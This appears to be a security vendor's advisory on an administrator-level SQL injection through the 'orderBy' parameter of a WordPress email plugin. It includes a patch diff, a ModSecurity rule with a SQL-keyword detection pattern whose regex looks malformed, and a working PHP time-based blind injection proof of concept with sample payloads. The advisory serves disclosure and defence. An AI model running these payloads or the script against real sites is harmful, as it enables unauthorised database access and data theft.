Published : December 1, 2026

CVE-2026-15400: Email Deliverability <= 1.4.6 Authenticated (Administrator+) SQL Injection via 'orderBy' Parameter PoC, Patch Analysis & Rule

Plugin site-mailer
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 1.4.6
Patched Version 1.4.7
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-15400: The Email Deliverability plugin (site-mailer) for WordPress versions up to and including 1.4.6 contains an authenticated SQL injection vulnerability via the ‘orderBy’ parameter. The flaw resides in the Suppressions_Table class, where the ORDER BY clause is constructed without validation. An attacker with administrator-level access can exploit this to execute arbitrary SQL queries, leading to sensitive data extraction. The CVSS score is 4.9 (Medium).

The root cause is insufficient escaping and lack of preparation on the user-supplied ‘orderBy’ parameter. In the vulnerable version, the REST endpoint at site-mailer/modules/suppressions/rest/get-suppressions.php (lines 60-63) directly concatenates the ‘orderBy’ parameter into the ORDER BY clause using backticks, without any validation. The Suppressions_Table class does not override the build_sql_string() method or invoke is_order_by_valid(), unlike the Logs_Table class. This allows an attacker to inject arbitrary SQL syntax into the ORDER BY clause, such as subqueries or time-based functions.

Exploitation occurs via a crafted request to the REST API endpoint that retrieves suppressions. An authenticated administrator can send a GET or POST request to /wp-json/site-mailer/v1/suppressions (or similar, based on the plugin’s REST namespace) with the ‘orderBy’ parameter containing a malicious payload. For example, orderBy=id,(SELECT SLEEP(5)) or orderBy=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END) can be used to perform time-based blind SQL injection, allowing the attacker to infer database contents. The exact endpoint may be /wp-json/site-mailer/v1/suppressions based on the file path.

The patch (version 1.4.7) introduces validation in the Suppressions_Table class. It adds an is_order_by_valid() method that checks each column against an allowlist of valid columns and uses sanitize_sql_orderby() to validate the direction. The build_sql_string() method is overridden to call is_order_by_valid() before appending the ORDER BY clause. In get-suppressions.php, the code now prefixes the column name with the table name (e.g., ‘site_mail_suppressions.’ . $request_order_by) and no longer wraps it in backticks, but the critical fix is the validation in the table class. This prevents any unvalidated column names or directions from being used, effectively blocking SQL injection.

If exploited, this vulnerability allows an authenticated administrator to execute arbitrary SQL queries, potentially leading to the extraction of sensitive information from the WordPress database, such as user credentials, email logs, or other confidential data. While administrator-level access is required, such access could be obtained through other means (e.g., compromised admin account, privilege escalation), and the SQL injection could then be used to further compromise the site or exfiltrate data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/site-mailer/modules/suppressions/database/suppressions-table.php
+++ b/site-mailer/modules/suppressions/database/suppressions-table.php
@@ -24,6 +24,63 @@

 	public static $table_name = 'site_mail_suppressions';

+	public static function is_order_by_valid( $order_by ): bool {
+		$is_valid_order_by = true;
+		$allowed_columns   = array_keys( self::get_columns() );
+
+		foreach ( $order_by as $column => $direction ) {
+			$raw_column = str_replace( self::table_name() . '.', '', $column );
+			$raw_column = trim( $raw_column, '`' );
+
+			if ( ! in_array( $raw_column, $allowed_columns, true ) ) {
+				return false;
+			}
+
+			$direction = strtoupper( trim( $direction ) );
+			if ( ! sanitize_sql_orderby( "{$raw_column} {$direction}" ) ) {
+				$is_valid_order_by = false;
+				break;
+			}
+		}
+
+		return $is_valid_order_by;
+	}
+
+	/**
+	 * build_sql_string
+	 *
+	 * Override base Table::build_sql_string to validate ORDER BY before concatenation.
+	 */
+	public static function build_sql_string( $fields = '*', $where = '1', ?int $limit = null, ?int $offset = null, string $join = '', array $order_by = [] ): string {
+		if ( is_array( $fields ) ) {
+			$fields = implode( ', ', $fields );
+		}
+
+		$db = static::db();
+		$query_string = 'SELECT %s FROM %s %s WHERE %s';
+		$query_string = sprintf(
+			$query_string,
+			$fields,
+			static::table_name(),
+			$join,
+			static::where( $where )
+		);
+
+		if ( $order_by && self::is_order_by_valid( $order_by ) ) {
+			$query_string .= static::build_order_by_sql_string( $order_by );
+		}
+
+		if ( $limit ) {
+			$query_string .= $db->prepare( ' LIMIT %d', $limit );
+		}
+
+		if ( $offset ) {
+			$query_string .= $db->prepare( ' OFFSET %d', $offset );
+		}
+
+		return $query_string;
+	}
+
 	public static function get_columns(): array {
 		return [
 			self::ID => [
--- a/site-mailer/modules/suppressions/rest/get-suppressions.php
+++ b/site-mailer/modules/suppressions/rest/get-suppressions.php
@@ -60,8 +60,8 @@

 			// Set order/default order
 			$order = $request_order_by && $request_order
-				? [ '`' . $request_order_by . '`' => $request_order ]
-				: [ Suppressions_Table::CREATED_AT => 'DESC' ];
+				? [ Suppressions_Table::table_name() . '.' . $request_order_by => $request_order ]
+				: [ Suppressions_Table::table_name() . '.' . Suppressions_Table::CREATED_AT => 'DESC' ];

 			$suppressions = Suppressions_Entry::get_suppressions(
 				'*',
--- a/site-mailer/site-mailer.php
+++ b/site-mailer/site-mailer.php
@@ -3,7 +3,7 @@
  * Plugin Name: Email Deliverability - SMTP Replacement, Email API Deliverability & Email Log
  * Description: Effortlessly manage transactional emails with Email Deliverability. High deliverability, logs and statistics, and no SMTP plugins needed.
  * Plugin URI: https://elementor.com/
- * Version: 1.4.6
+ * Version: 1.4.7
  * Author: Elementor.com
  * Author URI: https://go.elementor.com/author-url-sm/
  * Text Domain: site-mailer
@@ -25,12 +25,12 @@
 	exit; // Exit if accessed directly.
 }

-define( 'SITE_MAILER_VERSION', '1.4.6' );
+define( 'SITE_MAILER_VERSION', '1.4.7' );
 define( 'SITE_MAILER_FILE', __FILE__ );
 define( 'SITE_MAILER_PATH', plugin_dir_path( SITE_MAILER_FILE ) );
 define( 'SITE_MAILER_URL', plugins_url( '/', SITE_MAILER_FILE ) );
-define( 'SITE_MAILER_ASSETS_PATH',  SITE_MAILER_PATH . 'assets/' );
-define( 'SITE_MAILER_ASSETS_URL',  SITE_MAILER_URL . 'assets/' );
+define( 'SITE_MAILER_ASSETS_PATH', SITE_MAILER_PATH . 'assets/' );
+define( 'SITE_MAILER_ASSETS_URL', SITE_MAILER_URL . 'assets/' );

 /**
  *  SiteMailer Class
--- a/site-mailer/vendor/composer/installed.php
+++ b/site-mailer/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/site-mailer',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '66c48dc01e943273287366294ec555c1b354f302',
+        'reference' => '5393cdaf774d1a390628b7f0dbecd05d4038759c',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/site-mailer' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '66c48dc01e943273287366294ec555c1b354f302',
+            'reference' => '5393cdaf774d1a390628b7f0dbecd05d4038759c',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15400
SecRule REQUEST_URI "@rx ^/wp-json/site-mailer/v1/suppressions" 
  "id:202615400,phase:2,deny,status:403,chain,msg:'CVE-2026-15400 SQL Injection via orderBy parameter',severity:'CRITICAL',tag:'CVE-2026-15400'"
  SecRule ARGS:orderBy "@rx (?i)(sleep|benchmark|pg_sleep|waitfor|delay|extractvalue|updatexml|union|select|;|--|/*|*/|(|))" 
    "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15400 - Email Deliverability <= 1.4.6 - Authenticated (Administrator+) SQL Injection via 'orderBy' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password

// Step 1: Authenticate to obtain a valid session cookie and nonce (if needed)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1']));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Craft the malicious request to the REST endpoint with SQL injection payload in 'orderBy'
// The payload uses a time-based technique: if the condition is true, SLEEP(5) is executed.
// Adjust the endpoint if the plugin uses a different REST namespace.
$payload = 'id,(SELECT SLEEP(5))'; // Example: order by id, then sleep if subquery returns
$endpoint = '/wp-json/site-mailer/v1/suppressions'; // Verify the actual REST route

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint . '?orderBy=' . urlencode($payload) . '&order=ASC');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
curl_close($ch);

// Step 3: Check if the response time indicates successful injection (SLEEP executed)
if ($elapsed >= 5) {
    echo "SQL injection successful! Response time: " . $elapsed . " secondsn";
} else {
    echo "Injection may have failed. Response time: " . $elapsed . " secondsn";
}

// Clean up cookie file
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.